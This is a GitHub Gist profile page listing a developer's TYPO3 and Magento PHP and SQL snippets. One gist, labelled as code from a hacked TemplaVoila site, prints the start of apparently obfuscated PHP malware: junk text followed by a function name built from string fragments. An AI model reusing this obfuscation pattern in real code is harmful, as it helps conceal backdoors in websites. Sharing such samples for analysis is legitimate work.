Skip to content

Instantly share code, notes, and snippets.

View SchumacherFM's full-sized avatar

Cyrill Schumacher SchumacherFM

View GitHub Profile
@SchumacherFM
SchumacherFM / realurl_conf.php
Created July 24, 2012 19:28
Multidomain with RealURL #TYPO3
<?php
/*
assuming the following folder structure:
typo3conf/
|
L ext/
L domainconfig/
|
L domain-global.inc.php
L domain-de.inc.php
@SchumacherFM
SchumacherFM / gist:3349554
Created August 14, 2012 14:06
TYPO3 hacked in TemplaVoila 1.6
<?php
/*wjmrwg7zaBtVqBVJWTiNkMPYQaLo69qgsNaDo44B0
cCMmj329Ck4XgeOptvyyiFcbxxnEH4hqUkA
1wg2XkWSfr95qFlGyMYiGWl74mr0AbW
ssFfmIQzzd6KgyGQ2ic1JNyRbY7g7bqNzgjFzHedKADKVv9VW
5mEhySWK1fOoZxcrrkPh8u7BHQQraF5r
*/
$RuoGzMJ='preg_'. 'rep'. 'l'.'a'.'c'. 'e';
@SchumacherFM
SchumacherFM / gistIdController.php
Created November 30, 2012 10:10
Dynamic Magento controller Actions with PHP __call() method. Works without any rewrite condition. Good or bad? ;-)
<?php
class XXX_FileRestriction_IdController extends Mage_Core_Controller_Front_Action
{
/**
* Allow URLs like http://domain.tld/downloader/id/4711
* without any rewrite syntax
*
* @param string $method
* @param array $args
@SchumacherFM
SchumacherFM / Namespace_Module_Block_Adminhtml_Edit_Tab_XXXX.php
Created December 4, 2012 08:41
Magento backend admin: Edit form with a multiselect field with product categories
<?php
/* Set up: */
class Namespace_Module_Block_Adminhtml_News_Edit_Tab_Linking {
protected function _prepareForm(){
...
$fieldSet->addField('product_categories', 'multiselect',
@SchumacherFM
SchumacherFM / Related.php
Created December 14, 2012 14:02
Magento: Extended Version of the related products in the community edition / Get a product collection and filter by a multiselect field with another multiselect field. sto_artsc3_line is the multiselect field, type varchar. FIND_IN_SET() handles the magic in MySQL. If anybody knows a better solution, post it here :-)
@SchumacherFM
SchumacherFM / Attribute2.php
Created January 11, 2013 16:45
Magento (CE1.7) Catalog Category Layer Filter: Filtering for the attribute gender. Adding a second value to this attribute for the filter query. In this example we add the unisex value to the query when someone searches for a product which gender attribute is lady or gentlemen.
<?php
/**
* XML rewrite:
*
* <config><global><models>
<catalog_resource>
<rewrite>
<layer_filter_attribute>Namespace_Module_Model_Resource_Layer_Filter_Attribute</layer_filter_attribute>
</rewrite>
</catalog_resource>
@SchumacherFM
SchumacherFM / FormatPrice.php
Created January 24, 2013 12:31
Magento: reformat the price system wide for any locale to a consistent format width the event currency_display_options_forming
<?php
class Namespace_Module_Model_Observer_FormatPrice
{
public function formatPrice(Varien_Event_Observer $observer)
{
$event = $observer->getEvent();
$options = $event->getCurrencyOptions();
/**
@SchumacherFM
SchumacherFM / mysql4-upgrade-0.0.x-0.0.y.php
Last active December 15, 2015 11:59
Magento: Want to use negative position values in Category Product Relation? Just include this MySQL update routine and rerun the indexer for catalog_category_product. Problem: Table catalog_category_product with its column position is type signed while the column position in the indexers anchor idx and tmp table are unsigned. Unsigned columns ca…
<?php
/**
* @var $installer Mage_Catalog_Model_Resource_Eav_Mysql4_Setup
*/
$installer = $this;
$installer->startSetup();
$tables = array(
$installer->getTable('catalog/category_anchor_products_indexer_idx'),
$installer->getTable('catalog/category_anchor_products_indexer_tmp')
);
@SchumacherFM
SchumacherFM / gist:5371312
Created April 12, 2013 11:12
Magento Truncate Quote and Orders
SET foreign_key_checks = 0;
TRUNCATE `log_quote`;
TRUNCATE `sales_flat_quote`;
TRUNCATE `sales_flat_quote_address`;
TRUNCATE `sales_flat_quote_address_item`;
TRUNCATE `sales_flat_quote_item`;
TRUNCATE `sales_flat_quote_item_option`;
TRUNCATE `sales_flat_quote_payment`;
TRUNCATE `sales_flat_quote_shipping_rate`;
@SchumacherFM
SchumacherFM / copy-store-view.sql
Created June 6, 2013 14:48
Magento - Copy Store Views / Some tables are still missing
-- idea: rebuild this via php and use mysql.information_schema to automatically figure out tables with column store_id resp. website_id
-- maybe include it into n98-magerun
# DEFINE
SET @to_store := 8;
SET @to_website := 4;
SET @from_store := 2;
SET @from_website := 3;